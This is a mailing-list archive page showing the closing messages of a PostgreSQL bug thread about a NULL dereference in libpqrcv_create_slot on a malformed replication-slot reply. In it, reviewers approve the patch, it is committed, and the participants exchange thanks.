  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
@ 2026-07-16 00:36         ` Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-16 04:45           ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Hayato Kuroda (Fujitsu) @ 2026-07-16 00:36 UTC (permalink / raw)
  To: Kenny Chen <kennychen851228@gmail.com>; Fujii Masao <masao.fujii@gmail.com>; +Cc: 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Dear Kenny,

> Right, CREATE_REPLICATION_SLOT always returns exactly 4 columns, so != 4 is
> more accurate.  v3 attached uses != 4 and drops "or more" from the errdetail.

Basically LGTM. From my perspective the code comment might be too detail:
"CREATE_REPLICATION_SLOT has always returned a single row with four columns"
might be enough. But it's not the strong opinion - let's confirm the Fujii-san's idea.

Best regards,
Hayato Kuroda
FUJITSU LIMITED



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-16 00:36         ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
@ 2026-07-16 04:45           ` Fujii Masao <masao.fujii@gmail.com>
  2026-07-16 05:58             ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Fujii Masao @ 2026-07-16 04:45 UTC (permalink / raw)
  To: Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>; +Cc: Kenny Chen <kennychen851228@gmail.com>; 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

On Thu, Jul 16, 2026 at 9:36 AM Hayato Kuroda (Fujitsu)
<kuroda.hayato@fujitsu.com> wrote:
>
> Dear Kenny,
>
> > Right, CREATE_REPLICATION_SLOT always returns exactly 4 columns, so != 4 is
> > more accurate.  v3 attached uses != 4 and drops "or more" from the errdetail.
>
> Basically LGTM. From my perspective the code comment might be too detail:
> "CREATE_REPLICATION_SLOT has always returned a single row with four columns"
> might be enough.

+1

So I've updated the comment to a simpler version and pushed the patch. Thanks!

Regards,

-- 
Fujii Masao






^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-16 00:36         ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-16 04:45           ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
@ 2026-07-16 05:58             ` Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-16 12:51               ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  0 siblings, 1 reply; 10+ messages in thread

From: Hayato Kuroda (Fujitsu) @ 2026-07-16 05:58 UTC (permalink / raw)
  To: Fujii Masao <masao.fujii@gmail.com>; +Cc: Kenny Chen <kennychen851228@gmail.com>; 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Dear Fujii-san,

Confirmed that no BF animals reported any issues due to the commit.
Thanks!

Best regards,
Hayato Kuroda
FUJITSU LIMITED



^ permalink  raw  reply  [nested|flat] 10+ messages in thread

* Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply
  2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
  2026-07-16 00:36         ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
  2026-07-16 04:45           ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
  2026-07-16 05:58             ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
@ 2026-07-16 12:51               ` Kenny Chen <kennychen851228@gmail.com>
  0 siblings, 0 replies; 10+ messages in thread

From: Kenny Chen @ 2026-07-16 12:51 UTC (permalink / raw)
  To: Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>; +Cc: Fujii Masao <masao.fujii@gmail.com>; 1217816127@qq.com <1217816127@qq.com>; pgsql-bugs@lists.postgresql.org <pgsql-bugs@lists.postgresql.org>

Thank you for committing this, and thanks to both of you for the reviews.

Regards,
Kenny

Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com> 於 2026年7月16日週四 下午1:58寫道:
>
> Dear Fujii-san,
>
> Confirmed that no BF animals reported any issues due to the commit.
> Thanks!
>
> Best regards,
> Hayato Kuroda
> FUJITSU LIMITED
>






^ permalink  raw  reply  [nested|flat] 10+ messages in thread


end of thread, other threads:[~2026-07-16 12:51 UTC | newest]

Thread overview: 10+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-07-08 12:15 BUG #19547: `libpqrcv_create_slot` dereferences NULL on a malformed `CREATE_REPLICATION_SLOT` reply (just a sugg PG Bug reporting form <noreply@postgresql.org>
2026-07-14 16:46 Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
2026-07-15 04:33 ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
2026-07-15 11:51   ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
2026-07-15 14:10     ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
2026-07-15 14:24       ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>
2026-07-16 00:36         ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
2026-07-16 04:45           ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Fujii Masao <masao.fujii@gmail.com>
2026-07-16 05:58             ` RE: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Hayato Kuroda (Fujitsu) <kuroda.hayato@fujitsu.com>
2026-07-16 12:51               ` Re: BUG #19547: libpqrcv_create_slot dereferences NULL on a malformed CREATE_REPLICATION_SLOT reply Kenny Chen <kennychen851228@gmail.com>

This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox